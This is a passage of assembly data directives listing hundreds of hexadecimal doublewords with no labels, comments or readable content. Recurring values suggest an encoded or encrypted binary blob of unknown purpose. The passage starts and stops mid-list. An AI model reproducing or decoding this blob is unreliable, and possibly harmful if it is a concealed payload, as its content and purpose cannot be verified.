926916C8h, 1566883Ah dd 1564CF3Dh, 74062232h, 5DE7752h, 0F499E993h, 1575C73Dh dd 1B8F2232h, 43661132h, 38FFE872h, 3883D1A0h, 266C6D14h dd 1C8F7179h, 96668832h, 10E8EEEh, 0FF399E99h, 15065A5Ah dd 31720132h, 15664488h, 9F942332h, 29934B30h, 56E287DBh dd 75664433h, 0E7AA978Bh, 16E31E22h, 1A668832h, 29079D85h dd 43E22DDAh, 75661133h, 0BC853354h, 0AD8CFC8Dh, 1A5A4324h dd 153B953Dh, 95068832h, 2907C7C0h, 0BBE22DFFh, 75661133h dd 138F42B9h, 0D8664432h, 0D5CD0A9Ah, 0FE5A70C3h, 14870C3Dh dd 108F4432h, 0B9662232h, 3F935306h, 15726153h, 4B0C4432h dd 18F21232h, 3C0067E1h, 0AC224322h, 3D92B4FFh, 0FCA58505h dd 1566113Dh, 73727DFEh, 0C02148DDh, 4167B053h, 47831DC7h dd 15673163h, 0DFEF4432h, 9F94236Bh, 44934B28h, 0FE467887h dd 944248B9h, 156626F6h, 1574F832h, 0E2E58832h, 0C06CC57Ch dd 5E9174C4h, 0D27523EEh, 59193BE2h, 1AE6BFB2h, 0EA99B1B7h dd 9430E4CDh, 761CAC1Eh, 9ED684Eh, 11A2A116h, 761CD2B3h dd 0FC06A44Eh, 15664434h, 0FFFDE649h, 188F9393h, 0DA668832h dd 0E2BCEF78h, 0C36636ADh, 8B330CEAh, 13DED853h, 14664432h dd 3162A9F1h, 1562D5B3h, 47938832h, 15664688h, 44942332h dd 1566118Bh, 16B78932h, 0E03C1D2Bh, 156690DBh, 2EA1E32h dd 0FC668832h, 15664420h, 204B5800h, 32CA6083h, 0FEE976D3h dd 7036D664h, 639948FBh, 317A9A33h, 0FC624CB1h, 15664421h dd 0F3255C99h, 9ADCAE70h, 0C0DC6545h, 0F28D4A54h, 9663C47Eh dd 9169EAC9h, 156688EBh, 118AC7CEh, 4E4216BBh, 44DE7752h dd 0AF34E902h, 15664433h, 0AD36D033h, 15661132h, 0D655833h dd 1A8F1E6Ah, 6F662232h, 0C4F3B7E7h, 0B072194h, 7D321AE4h dd 9B69173Ch, 15661128h, 156B6152h, 0BF9C4432h, 9F0534C1h dd 0C8A3982Ch, 1A4E4C58h, 156644B2h, 47304332h, 4830835Ah dd 0D7E7D25Eh, 86C4ED41h, 143CF4BBh, 0FC934FC1h, 0EA99764Eh dd 7313F352h, 0D6C6CDB3h, 4BD01E53h, 15756133h, 0E02D4432h dd 797C1E8Bh, 1D6C332Dh, 5D713FC3h, 8727855Dh, 3B8DA113h dd 0EB28953Dh, 18F77CDh, 69664432h, 0A450DE29h, 46C322BEh dd 344B66ABh, 0BAF8DEE3h, 0FC43D7EDh, 1566112Fh, 1567053Dh dd 959E4432h, 1A98234Ch, 0EA980EB7h, 156161CDh, 6D6C4432h dd 0B24D7948h, 0E9C4F855h, 0AC0677CDh, 15994C9Bh, 0C6099854h dd 0F3EF4753h, 15624EB3h, 0FBE54432h, 3152A536h, 3152986Eh dd 156D6152h, 22A4432h, 0C6FBFDB5h, 5638AEB4h, 15766134h dd 0D0CD4432h, 831FB5A5h, 48A6F69Dh, 0EE4E594h, 460702B8h dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h dd 12E41E16h, 1A668832h, 156645B0h, 960EDE32h, 9C661159h dd 0EC06AC2Eh, 15664EDBh, 0B997ED32h, 5472BF95h, 74DCB9DDh dd 9483CD67h, 156626F7h, 118B9232h, 4942A4B5h, 1A4278BBh dd 15662AB2h, 0E5E77132h, 11CF687h, 1AA67553h, 156625B1h dd 0DFE67132h, 745E3879h, 8E64B9Eh, 75662232h, 0FCC4DCB2h dd 15668821h, 0CA49B1BBh, 53F7647h, 0D7A7EFE9h, 2476473Ch dd 745CB527h, 0D6EE7160h, 9D3DCBBAh, 9406D2E1h, 5E6591DDh dd 156DCB73h, 0B5F41132h, 687D63D0h, 29B4139h, 0F9E543DCh dd 31629836h, 0D6467882h, 7337246Ah, 0E93DD5B9h, 12EC1E53h dd 1A668832h, 156645B6h, 0EEE6DE32h, 0D8E21E42h, 0E0668837h dd 91694B0Eh, 156622C9h, 15661EDBh, 0E62E5332h, 0F697B8FEh dd 8E9877CFh, 86D20B46h, 1A8FB4C7h, 156CB6B6h, 6E92D32h dd 0FC661132h, 1566883Ch, 9C953799h, 0AA407F72h, 7920860Ch dd 0FE5A1C99h, 1AE5C03Dh, 0FC9E2232h, 15661137h, 0F63903A2h dd 1A8578E1h, 156585B6h, 1563F832h, 0D4B18832h, 294CA62Bh dd 0BDE22DD0h, 0ED661122h, 0DAE7DB52h, 346EBC50h, 94004269h dd 95347CF4h, 740714FCh, 4A4270CDh, 7562E6B1h, 1563943Dh dd 94008832h, 740A35E2h, 4E4216CDh, 1562D5B3h, 9E9E8832h dd 9C36603Eh, 156227D2h, 11631132h, 92668832h, 0FC3A6036h dd 1566223Ch, 0D0BCD094h, 3D3E7C52h, 41019E89h, 21993D31h dd 0D1E74F16h, 15668836h, 17EA4B52h, 9E662232h, 9B6941FAh dd 15668832h, 75A52568h, 0E58FA354h, 1B8F71F1h, 86668832h dd 4D67EAB8h, 9AB90B9Dh, 97DCDF0h, 68D8EE1Ah, 0D20725C8h dd 149596B7h, 1566173Ah, 0DED8732h, 0FC664432h, 15662221h dd 2246D9h, 0FED2524h, 8E8B1AB3h, 0C399042Fh, 4509377Fh dd 1566888Ah, 9F964532h, 3162A92Ah, 0ED62D5B1h, 958C3D63h dd 0D0E667DFh, 8F8BA23Fh, 0C890C4C4h, 0D5793E60h, 0D3E640D4h dd 0B688A2FCh, 25B6E7B2h, 0FE46D2C7h, 0EEE6B16Bh, 0E32DB2h dd 0FC99EECDh, 15668835h, 0AEDB746Dh, 40E0BDEBh, 0EA99EE8Fh dd 488889CDh, 156643DBh, 0B236E632h, 9761A3C0h, 314F0DB9h dd 9E9343C8h, 0EF52E7A7h, 0F9E5E435h, 31520136h, 0DF4268B3h dd 4E4C9E21h, 6ACD2B3h, 9169A28Eh, 1566442Ch, 157EA53Dh dd 68F1132h, 96668832h, 498E6D1Ch, 9A69DBBDh, 79712A40h dd 3F3A9D98h, 0AA319024h, 15662234h, 29EDEA33h, 11A20B16h dd 0BB6AFE52h, 97693D5Eh, 15661133h, 0AF34E9C7h, 15664430h dd 0F65D033h, 944205B9h, 15668CF6h, 0C5ED2432h, 4DA8A960h dd 1ABE2A53h, 1566A9B0h, 1561AD32h, 41832232h, 7AC172BBh dd 1ABCB364h, 0EA981FB4h, 1561CBCDh, 27991132h, 0BA94FA16h dd 0FEE7BD31h, 5FD57AAAh, 3882D2B3h, 0EE4FF058h, 3882AFB3h dd 0D6E75A58h, 5FD549AAh, 156A043Dh, 9B694432h, 15662234h dd 1566923Dh, 9E698832h, 1566443Ah, 1564A93Dh, 74061132h dd 15727E5Ah, 315ACD32h, 1566248Dh, 4A9D3832h, 156D6052h dd 296A4432h, 0D0B44ECDh, 0CE8B8F1Ah, 1F8ED2D7h, 80664432h dd 7D570F0Ch, 89639917h, 1572602Fh, 27684432h, 0ADDED52Fh dd 0AB009421h, 0ADD348FDh, 9683CF54h, 4D39489Dh, 1ACB7753h dd 156690B3h, 1575AD32h, 2BC62232h, 2F56540h, 0B5F68706h dd 0C3B1DB42h, 0FC9DDC87h, 0E0CD77F7h, 11EDDB62h, 11A2C516h dd 4E662232h, 7ED7E452h, 9400E853h, 0ECDA9DC0h, 9D698953h dd 15661133h, 0AA31DACBh, 27B51D94h, 4CC4CDB3h, 0EFEF23E1h dd 4FB0896Dh, 0CCED2252h, 315AAB53h, 13E31E52h, 1A668832h dd 156644B3h, 4CDD4432h, 61EF7001h, 9C698416h, 15664429h dd 1573A23Dh, 58F1132h, 27668832h, 15AE7DEAh, 4293148h dd 643EB277h, 9CDFB787h, 0EF43A987h, 2199DB35h, 0D1E74E16h dd 15668836h, 156649DBh, 52DAD132h, 0E1ECE037h, 3C19FE88h dd 219941FDh, 0D1E77916h, 15661136h, 1567093Dh, 0EA934432h dd 963F0606h, 0FC0615F6h, 15668834h, 0B92A51E8h, 9E076942h dd 9C373506h, 11A709D3h, 96664432h, 19E126F3h, 0ED064D16h dd 15669BDAh, 0B015C132h, 8AD814A1h, 0DA6E0967h, 490965D8h dd 0D023C76h, 4BBCA954h, 0F3EF4753h, 290B3765h, 94212659h dd 7E5A48DDh, 4A981050h, 92624EB1h, 1A3A6006h, 156633B5h dd 156AF832h, 0AAF78832h, 0FFE1F881h, 0C76EA767h, 6C8F597Bh dd 0E09977EDh, 0E6D2C1F5h, 15642A33h, 92691132h, 15668820h dd 156649DBh, 0F8444A32h, 305C2A45h, 0D233B470h, 6A0EA740h dd 9C66227Fh, 753D3506h dd 1565083Dh, 0AA694432h, 0AC0042F8h, 7407F7B9h, 0FC683E3Dh dd 15664437h, 63ABAD42h, 14EF1E9Ah, 0E0668832h, 1AE6BDB2h dd 156658B1h, 0D6E7E432h, 150ED980h, 0AC378F33h, 150E7380h dd 0EC3FDA1Bh, 156D6152h, 13984432h, 695033FCh, 16910FE2h dd 15766062h, 0EBCB4432h, 0E08FE991h, 0BAEF69BDh, 86FB062h dd 0E0E6CE2Eh, 46077947h, 144215B3h, 4E668832h, 1562CC3Dh dd 75062232h, 95067053h, 40D966D0h, 74457A61h, 1566B4DBh dd 1561F832h, 15148832h, 9D7FB3B6h, 9406427Bh, 9F5A85E2h dd 0CDEDEE13h, 7307B153h, 3D999561h, 9ED77CBh, 17A20B16h dd 0E2F70DCEh, 108FB3E2h, 14661132h, 0D1E39118h, 670E1762h dd 4E09953Bh, 565FE2B3h, 9425A3D2h, 0BDD0F7F1h, 4EBEAB89h dd 0FC3ED013h, 1566883Eh, 3A44E6ACh, 0BA0B77B0h, 0AE821606h dd 48D33062h, 0D64F448Ah, 94AD0B6Ah, 0AD3BA4F1h, 15766132h dd 7EC34432h, 0E0767194h, 9B118B42h, 95E985AAh, 94062A38h dd 0E9DFE0FCh, 0FFE7770Ch, 9E07FC2Ch, 0EF426DB7h, 0AA694235h dd 22BB91F9h, 0D0F30353h, 7561BE06h, 3A80A354h, 1568F823h dd 0E7338832h, 62118D3Ah, 0CEBC15D7h, 0F6377B0Ah, 78DB0B53h dd 1461BE13h, 1174A63Dh, 2C9F1132h, 1CE487F1h, 0FC664436h dd 1566223Bh, 0AAC2A587h, 0CF45FD9Eh, 1AB57D8Dh, 0EA9CF5B0h dd 2E71ECDh, 0FC668832h, 15664420h, 4599F291h, 0C3F6A49Ah dd 0D712EBDAh, 1A9AA6B1h, 0C48FC15Ah, 0E0661131h, 0E6D20DF5h dd 15644C33h, 1C8F2232h, 79661132h, 5966E283h, 1BE50A1Bh dd 9C3677CAh, 4DA398C2h, 1A3B63BBh, 156649B5h, 156ECB32h dd 4E391132h, 2FD136ACh, 0A369F12Bh, 156CCB3Ch, 0E3B71132h dd 0F50D2758h, 48E5B71Fh, 1AE6DBB2h, 15662CB1h, 0AC377D32h dd 4E7D140Ah, 456DE3B3h, 0DCE734FEh, 5594CD5Dh, 0D4E795C5h dd 0DE9226F6h, 143FDA33h, 418D09F9h, 0E06CB82Dh, 15679F67h dd 0FE671132h, 0B68F7D6Fh, 1A664432h, 156623B4h, 8B0EE832h dd 9C668833h, 0EAD5602Eh, 1A3DFB1Ah, 15661CB5h, 156E6132h dd 0EF304432h, 885AE84Ah, 0A006D7D0h, 74A80329h, 1566445Ah dd 3162A332h, 1D600500h, 9442841Bh, 154601Eh, 1A3F2A34h dd 156610B2h, 46367432h, 0D50E3789h, 94B5D57Eh, 53577F9h dd 94BD7F35h, 0D54EA9C1h, 4EBEAB7Ah, 0EC3ED013h, 0B9F3163h dd 0DCE756E4h, 4E52A4Ah, 7AA7D0B3h, 0C491B176h, 68BA8DB3h dd 0FCE74E0Ch, 0A4E401C9h, 3C3F4333h, 0F78DC5F9h, 1A2B5E5Eh dd 156618BBh, 9400E832h, 44DF12C5h, 90ED436Dh, 129C351Bh dd 1575003Dh, 1B8F4432h, 1A662232h, 83D87E2Dh, 4BB15F64h dd 0B9F20559h, 0D0F3A94Ah, 0FC61EB06h, 15668838h, 0CC5EC4DFh dd 44D09D5Ch, 0A8E552A5h, 129CA95Fh, 70E24B33h, 0FC662230h dd 15661135h, 1E90C8AEh, 0E06BA236h, 9769FA09h, 15661114h dd 1571013Dh, 78F4432h, 36662232h, 3251B9F0h, 0B2CF0CF0h dd 77C9EFF7h, 50D49A13h, 1AB52834h, 0EA9F87B4h, 0AA31B8CDh dd 15662233h, 0E039EF1Bh, 0E33D3F61h, 6091C4E5h, 9365C5F2h dd 93B8E7C5h, 629108C5h, 0ED3DBCBAh, 14EC2D98h, 0EC661132h dd 15663260h, 0FFE74432h, 4978691Fh, 0D7E7E333h, 4978C31Fh dd 753C4EB8h, 1563AE3Dh, 0D8DF1132h, 9473A7D6h, 0E075FE4h dd 19D64300h, 0DD98791Eh, 0EB2F3963h, 138F84F3h, 3D44D3B2h dd 996948FAh, 1566883Bh, 17DC2252h, 0DFD92D3Eh, 1561F853h dd 32578832h, 4C97F61Eh, 0A6357079h, 0C0A59108h, 353D52BAh dd 93691EE3h, 1566223Ch, 156618DBh, 0E1AEE532h, 1B814952h dd 0DD6E2F68h, 1576903Dh, 1E8F8832h, 0A4664432h, 8631B2EEh dd 2D9C07DAh, 75CCE641h, 749EF33Dh, 470FC9B3h, 0EE4F7D65h dd 77F13765h, 942128EEh, 673B3AFDh, 0E4919016h, 1466211Fh dd 1F8F1BC9h, 60662232h, 0E6D2ABF0h, 7CDDA54Ah, 11DF15F9h dd 94662232h, 4D5334F1h, 94ADA119h, 4D5361D9h, 45937B19h dd 31629A61h, 15624CB3h, 1A3D4432h, 15662CB2h, 156FF832h dd 0ED568832h, 0A7E31300h, 0BEBD9A82h, 1ABC9B52h, 15668DB2h dd 0C4E72232h, 0FC079BD4h, 15661123h, 0F0B9974Dh, 511F91DDh dd 3BF57F75h, 0AFCE7E4Bh, 17DED8F0h, 14664432h, 3162A9F4h dd 0EC62D5B1h, 308B3DBBh, 78F43C8h, 0F0662232h, 207E09B7h dd 431B948Ch, 0A47C9F5Eh, 90AAE81Ah, 78E3D62Bh, 14617213h dd 0FC664432h, 1566223Eh, 0F24B9D79h, 0B422FBDCh, 79643626h dd 4580AB64h, 0C469618Ah, 108E4920h, 0E261A4F3h, 28E327E2h dd 0D3675A76h, 11A00B6Ah, 494270B5h, 3152DDC7h, 11A29269h dd 0D3A70952h, 940D7760h, 0F8A43CDAh, 0EA9A7018h, 963FAC06h dd 0A70640F6h, 9C314301h, 11A190D5h, 43668832h, 1566408Ch dd 4B912332h, 49422DB5h, 156680DBh, 3EC76132h, 56408B17h dd 0F5EF41BCh, 15668C37h, 11A6C732h, 9E4226B5h, 73063516h dd 0E11D4EB3h, 7491FB3Dh, 0EABFCDDBh, 18EA1ECDh, 0FC668832h dd 1566443Ah, 110128D9h, 77EE1DB0h, 15673765h, 0EB4F4432h dd 9E00426Dh, 156EF8FDh, 6EC08832h, 5DEE86F1h, 1A07DF44h dd 156602B6h, 15686132h, 0C704432h, 0F82A26ABh, 3EB4F3C3h dd 536FF4Eh, 0CD61461h, 0D24E2085h, 4E9E996Ah, 0C4EDEE52h dd 74D2AFB2h, 1574CB98h, 241A1132h, 161E311Bh, 51BFBA91h dd 90AF9495h, 8F3A3406h, 156F0B3Dh, 0A7064432h, 0D3E7444Bh dd 4007D262h, 0FDEF7DBBh, 964268B9h, 1A0626F6h, 0CCD0E785h dd 14E18753h, 0EC664432h, 4FFD9961h, 0CD4F2F3Ah, 109EA169h dd 2B6E1EA9h, 156CA03Dh, 75061132h, 15EB8753h, 74664432h dd 52DE7261h, 0AE7A7D6Fh, 90AD571h, 3C3E8703h, 1D8F79EAh dd 0F7661132h, 0B2CD55FEh, 0BEB90CD5h, 9269DE52h, 15661134h dd 1566013Dh, 47074432h, 0A833C0BBh, 15661136h, 963B6233h dd 1E140F0h, 9E067E16h, 21D877FCh, 9EDE943h, 0F3EF1216h dd 1562E4B3h, 0D3E51132h, 31520F36h, 0DE54B6Eh, 75662232h dd 15661EDBh, 79A10732h, 47820408h, 0A286B74Dh, 28F8E90Eh dd 0EA07E952h, 963F6006h, 0EA9326F6h, 94383506h, 15668CF6h dd 14E24B32h, 0E9662232h, 0F4EF40CAh, 156249B3h, 0D4E54432h dd 61997336h, 9A3F1516h, 753AAC36h, 9E346C88h, 0AA007263h dd 7439DB82h, 0EABD6EDBh, 1577ADCDh, 5FBF2232h, 0D72BAB87h dd 0E92ED690h, 661E4D9Fh, 0D295BB1Ch, 1495A5B7h, 15668D3Ah dd 1574AD32h, 56D12232h, 0A0734CDBh, 4F9E8049h, 6C6C5965h dd 93FB5AF1h, 31629064h, 4A6C9D7h, 0F0DF1569h, 3C77E273h dd 926948F9h, 1566883Ah, 1564C23Dh, 74062232h, 1562AB60h dd 0C6678832h, 944250B9h, 156626F6h, 19E71E32h, 1A668832h dd 156642BBh, 15ED2D32h, 45661132h, 1566888Ah, 2E186932h dd 0E5671C0Dh, 2A5D6F37h, 4D7E8B0Ch, 1568C03Dh, 1C8F2232h dd 0A1661132h, 6A8A78E7h, 382726BDh, 314FA7B9h, 9B6916C8h dd 15668835h, 1567C53Dh, 0EC9F2232h, 21A384B9h, 73068FC8h dd 0AA6992B9h, 0AF3443E4h, 15661133h, 753C5E1Bh, 0AB4F868Bh dd 1575CB7Ah, 4FD11132h, 666FF1Eh, 94DBE29Fh, 36911CADh dd 3FC1A96Eh, 0A8E5E97Dh, 129C65F7h, 30E22D33h, 0FC661135h dd 15668834h, 5CDDC7Eh, 0CD5DE5EFh, 1547933Dh, 2E9F8832h dd 0B3E04BE8h, 0FC662233h, 15661121h, 12CCFE8Dh, 0F784E5F8h dd 0D53D817h, 676E34DAh dd 9C2098DCh, 0EF43A987h, 9E004235h, 0EFED77C3h, 0A1FB0353h dd 756E45C1h, 3D6BC1B3h, 188E6B25h, 44668832h, 0C8AE0843h dd 0AEDF2BDh, 88054E39h, 156686DBh, 0D1499032h, 238992EDh dd 7359ED40h, 4C4979A2h, 156DAD53h, 0F7042232h, 64CE3D97h dd 0A9B8D857h, 0FDDF15B2h, 3C6A0423h, 4C76357Eh, 1942D433h dd 194200B3h, 194033DAh, 156BF852h, 0FD998832h, 675D2BF0h dd 420D76FDh, 94BB56F6h, 0B2FE7AE9h, 7C8F2513h, 1A662234h dd 156603B0h, 156B6132h, 0DF854432h, 0FABECA07h, 40E611BCh dd 9EB21B51h, 9C31600Eh, 11A1A3D5h, 96661132h, 29E18CF5h dd 9E061816h, 0E1B1A3C3h, 7445599Dh, 34A30DF5h, 156743C8h dd 1A9E2232h, 156610B8h, 9ED7D32h, 0F4EF1516h, 1562E3B3h dd 0D4E51132h, 316A0F36h, 0AF00246Eh, 58E89FFh, 0D2661132h dd 0B3B2B2DAh, 64BEBE84h, 4426CF07h, 94D3E94Bh, 7C390AD1h dd 1A071E2Ch, 156625B3h, 14E51E32h, 0ED668832h, 404248B9h dd 0D0E7C7BBh, 15661136h, 92624DB1h, 1A3A601Eh, 156635B9h dd 1574F832h, 0CD5D8832h, 869A627Ah, 0AEFB550Dh, 0F93172CBh dd 9A255586h, 464270B9h, 0D6E7C1BBh, 15661136h, 15624BB3h dd 9E14432h, 1A067E16h, 156611B7h, 9C30E932h, 11A0C5D4h dd 96662232h, 21E115F4h, 31420316h, 1567C93Dh, 0FC9A2232h dd 0EA99C4FEh, 9C69E8CEh, 15664430h, 92694352h, 15661132h dd 78DB0B53h, 1461BE13h, 1030A63Dh, 3E9E1132h, 0EF42A1AFh dd 1560AD35h, 0F332232h, 9A109B99h, 128F05B9h, 926943C8h dd 1566223Eh, 156616DBh, 0CBE71232h, 3DFFF111h, 6E5CE3B3h dd 0FCE75714h, 1D92D263h, 0D4E79D33h, 1D927863h, 6E5CF8B3h dd 7306CE14h, 0A6C7AAB3h, 11DB7753h, 3C044E57h, 0EC4FD5DBh dd 706285B3h, 949F406Dh, 156615DEh, 315A0132h, 1566418Dh dd 4A9F0B32h, 7378A1CEh, 0E3A00060h, 7396CCE4h, 19950E68h dd 0FC9D1590h, 15668834h, 524EE0BDh, 0FCCC1793h, 15661123h dd 0AE19F037h, 4FFA88A1h, 834CFED1h, 377BF28h, 1A06E8B3h dd 156644BEh, 15E52D32h, 74661132h, 4436E9CEh, 964240B9h dd 0FC3F26F6h, 1566113Eh, 0C73520BCh, 1A3350A0h, 0FB450B99h dd 0EEED7752h, 1560053Dh, 98694432h, 15662232h, 9F69BA53h dd 1566882Ah, 156657DBh, 6D0FD432h, 434422E1h, 0EE189B49h dd 5AD74F5Bh, 13ABDDDh, 1562FDB3h, 29EF8832h, 9481CD16h dd 156626F5h, 11A19232h, 4942B4B5h, 156DAC52h, 0C96A2232h dd 0AAD69E8Fh, 6F6DB4EAh, 15E14BDEh, 4E662232h, 74B6F8B2h dd 4E42BCCDh, 156280B3h, 138F2232h, 661132h, 83156803h dd 316ACF03h, 9484AB60h, 156615F0h, 11A40932h, 92664432h dd 0E93A0626h, 156602DBh, 2EC3C332h, 20F516C2h, 46AE30F5h dd 4535F7C0h, 2CD9DF6Eh, 404270B9h, 0D0E7C7BBh, 15661136h dd 92624DB1h, 0FC3A601Eh, 15662238h, 410FABFBh, 24562BEFh dd 9D0EE907h, 9C662244h, 0F4EF353Eh, 156249B3h, 0D4E54432h dd 316AA536h, 1569F86Eh, 0D6098832h, 0F97E2DE4h, 0A744D5D5h dd 0FB271465h, 156E6197h, 0C80B4432h, 59F06670h, 5D8F86D5h dd 1A9977E5h, 156655B9h, 74064232h, 156616DAh, 0DF982A32h dd 48014DF0h, 1A06436Ah, 156617BEh, 15E98732h, 73664432h dd 0E43BEAB3h, 0A1E3D653h, 176E89C1h, 1A664432h, 15662AB5h dd 0D9E67132h, 0D1850878h, 0E4EF1553h, 19EDE9BBh, 11A29216h dd 80A53352h, 0A2690179h, 0A36943EDh, 14E51E3Ch, 0E9668832h dd 1AE6BDB2h, 156643B1h, 156AF832h, 8EA38832h, 116F6587h dd 0F1E1448Eh, 0D6E78009h, 5EBE9D35h, 7F94AFB3h, 0DE6759A1h dd 7F94D2B3h, 0FEE7F3A1h, 5EBE5135h, 156631DBh, 3A2DF932h dd 39C5B1E7h, 7EC6D53Ch, 52819EA1h, 1A236434h, 31620B61h dd 0FC9E1F33h, 1566224Dh, 15661CDBh, 26FC6C32h, 4B17B7E9h dd 90C9466Fh, 0A7347BA8h, 10844866h, 4561A6F2h, 0FDA66982h dd 0EB57353Ah, 1566BCFAh, 0C44E1CF0h, 0C491D768h, 0FC67D0B1h dd 15668821h, 0E9189EF2h, 2EEEA9B9h, 65D85087h, 376A545Fh dd 4200A85Bh, 2EE29C64h, 6ED97E96h, 14F6D3F7h, 0EC471AC5h dd 0AD36D76Dh, 46FD27EBh, 3C3E4B33h, 0CC8DC5F9h, 0FC35B904h dd 15661139h, 0E36962F3h, 0C3F3A93Ah, 9EBC56E9h, 0EF4238B7h dd 1DE78735h, 1A664432h, 156620BFh, 9E077132h, 0EF524DA7h dd 156CAD35h, 5D172232h, 0FEEA188Bh, 0D2830FAFh, 0EA9C85DBh dd 156FCBCDh, 2C7B1132h, 1B1641A9h, 0D277713Fh, 149596B7h dd 1566133Ah, 1EE18732h, 75664432h, 37269954h, 0DB949054h dd 0F70EE92Ch, 9C664447h, 753D0606h, 156618DBh, 246C4D32h dd 9F5459FDh, 9D696DC5h, 15661131h, 745556B2h, 1BD04BCAh dd 0B38DA352h, 73062E9Bh, 747E3E88h, 1AE6BDB2h, 15665AB1h dd 1577F832h, 81778832h, 8A08BDCEh, 0BF30B1F7h, 6FFE84D5h dd 0E9C9EF49h, 3BB7FE60h, 0E7E76471h, 2FF83FCFh, 946462F3h dd 0CE1F2CD0h, 2194A35Fh, 3C5C9C74h, 0DE67D2E1h, 135A87B3h dd 0FC0615ACh, 1566113Bh, 3832312Fh, 7DE6F92Dh, 1BDC4498h dd 0A833701Eh, 0EA9977CDh, 0FC3BAF1Bh, 1566223Fh, 0F28F0C36h dd 75705698h, 30FEB22Dh, 15E4CBCAh, 94691132h, 15668833h dd 0D2D416CAh, 95B1D0B2h, 0FFA62BD8h, 0AB8C0831h, 951586B2h dd 0D4E612F0h, 95B73956h, 0EC3CECDBh, 0E29FC37Bh, 759FA5E5h dd 954EC4B2h, 45073CF9h, 1809F68Ah, 69DD7137h, 343F7631h dd 0BB43D3EAh, 2004841Ah, 44027C57h, 0B7DD147Ah, 0D44726A9h dd 1A8E246Ah, 7A662232h, 0EC961931h, 0F71CB188h, 8FEBBE7Fh dd 0CD30FD0h, 0A833706Dh, 47CA9F57h, 3C3BAF1Bh, 70A5A3F9h dd 0E034BD25h, 314F0DB9h, 986943C8h, 1566222Ch, 15E11E52h dd 0FC668832h, 15664423h, 0EABD4DD0h, 7CBCCC87h, 8FA93086h dd 0AD64C29Eh, 80ED43AFh, 129C25F7h, 156A61CEh, 55C24432h dd 0CC63BD9Ch, 0B1FA27C3h, 0A8E577D5h, 129C655Fh, 0E4E22D33h dd 0EC99EEC4h, 97695009h, 15664417h, 15662ADBh, 9632F632h dd 0EC6FE4FEh, 1AB57D83h, 0EA8B95B4h, 0D2E671CDh, 10E2878Dh dd 73664432h, 0C550F8B3h, 52DE4153h, 0D415F150h, 0C59143D2h dd 0B5270317h, 0AAB82409h, 0D36774CDh, 0E84B6Ah, 0FC662232h dd 15661122h, 4559DE3Ch, 0C1011E5Ah, 9FEAF06Fh, 8D280D33h dd 156687DBh, 3F14A32h, 61E7320Dh, 9ADFF7CAh, 0B6E1734Eh dd 3162C564h, 26662B8Dh, 94421DB9h, 15668CF6h, 0AA8FC532h dd 0EC55223Bh, 2EC9D0B3h, 0EC4FF274h, 2EC9FB65h, 0EC4F5874h dd 7306716Dh, 705A7EB3h, 4607BD53h, 7078AA89h, 98959038h dd 3C6CED2Ch, 188F1FEBh, 57662232h, 0F0602603h, 15337F22h dd 82A06773h, 73989363h, 1DD9A162h, 0EB3EEEF3h, 168F84F3h dd 0D4E6E3CCh, 4CAE99DAh, 15780D3Dh, 9F694432h, 1566222Ah dd 156602DBh, 0C0A13632h, 0B00698D3h, 1E4EAA10h, 94FD6034h dd 98E3C0FFh, 13EA4B98h, 75662232h, 0ED9CAE3Dh, 118A0B53h dd 444240BBh, 78F7B6Ah, 50661132h, 0DB37A735h, 0AF26F418h dd 86A44618h, 28236297h, 0FC9323DEh, 0EA999731h, 156AA43Dh dd 98691132h, 15668834h, 1566C23Dh, 0AC372232h, 15661132h dd 0AF347933h, 15664432h, 17ECE833h, 1A8F4868h, 0B8668832h dd 85E1D605h, 2F99B85Ah, 22B725A3h, 1D8F6F94h, 0C3664432h dd 797BFB2Bh, 2905B8DAh dd 5EE287DAh, 0FC664432h, 15662223h, 9A3DCF1Bh, 5C2D3A3Ch dd 3954B345h, 856BBDh, 59D847E9h, 0AD27C426h, 542A507Eh dd 21EDD21Bh, 11A29016h, 0FC668832h, 15664439h, 170A6D0Ah dd 309093A4h, 0FC0FF784h, 15664551h, 156627DBh, 1EE85932h dd 9C35DF4Eh, 11A5C5D1h, 96662232h, 9E115D9h, 9EFD416h dd 1DE54B16h, 75662232h, 1566923Dh, 43078832h, 944258B9h dd 156626F6h, 1C8F7132h, 89668832h, 68AC5FF0h, 5BDFD516h dd 9B697153h, 15668830h, 1B8F1D60h, 70662232h, 0FE21233Ah dd 0BC154FCh, 539D992Eh, 4634433Ah, 0F7D985Ah, 0D6E7D318h dd 0C083A04Ah, 143DF8BBh, 4F7C12C0h, 156681DBh, 0BD8AEF32h dd 41123F03h, 0AD363C8Ch, 15668837h, 11ED8733h, 11A2A316h dd 0ED661132h, 74C03852h, 3CD61463h, 0A53EE7BAh, 4C8E21F3h dd 15668EDBh, 416D6232h, 0BF11E635h, 3D946CEh, 0D41D1450h dd 0C2914CDDh, 2F9FD5B3h, 0EE67FF0Bh, 949DA16Dh, 0A83F20D9h dd 0A833DA23h, 15661136h, 2BC4BB3h, 0FE4F1DCEh, 2BCC9B3h dd 1A3B48CEh, 156689BFh, 9369BC32h, 15662235h, 0FCE77752h dd 240793F2h, 24A575EAh, 0FCCDDBEAh, 1566113Bh, 27E947E1h dd 0B614C3A6h, 3152DD2Dh, 11A29069h, 0FC668832h, 15664435h dd 790100D8h, 0E9F493E8h, 10DDDB65h, 9C664432h, 0EB6779EDh dd 14E91E6Dh, 0E9668832h, 0B80E16CBh, 9E09D94Ch, 0D1E53526h dd 0B9940936h, 9C09BF4Ch, 986978E2h, 15661139h, 0C3EDEE52h dd 0BB9BB3h, 0D6076964h, 16EF1E52h, 73668832h, 460782B9h dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h dd 1ED1E16h, 0FC668832h, 1566443Dh, 0B6E8B2AFh, 306392E9h dd 60A43631h, 736D85EBh, 460014CDh, 7A41AA54h, 313AB954h dd 733D2230h, 3253446Ah, 0D65AED5Dh, 143A0C3Dh, 92694432h dd 15662222h, 15661ADBh, 0B61CB832h, 19976B95h, 9E066013h dd 9169DA0Eh, 1566890Ch, 17EA4B52h, 75662232h, 1A07E853h dd 156696B4h, 95692432h, 15662232h, 156600DBh, 0EEF55032h dd 5CB74A5Eh, 2EBFED7Fh, 0D1725206h, 29077910h, 5EE24BF0h dd 0E0662233h, 9169DB0Eh, 15668970h, 1547C53Dh, 0FD062232h dd 15661121h, 34B25344h, 0E4C0ADC8h, 1991A3D7h, 0F643345Dh dd 4A6AF923h, 0F1458EB3h, 73072BA8h, 1A43EE0Fh, 1567C7B6h dd 156CAD32h, 2DCB2232h, 3D2FE34Eh, 0BE485D80h, 0EA487954h dd 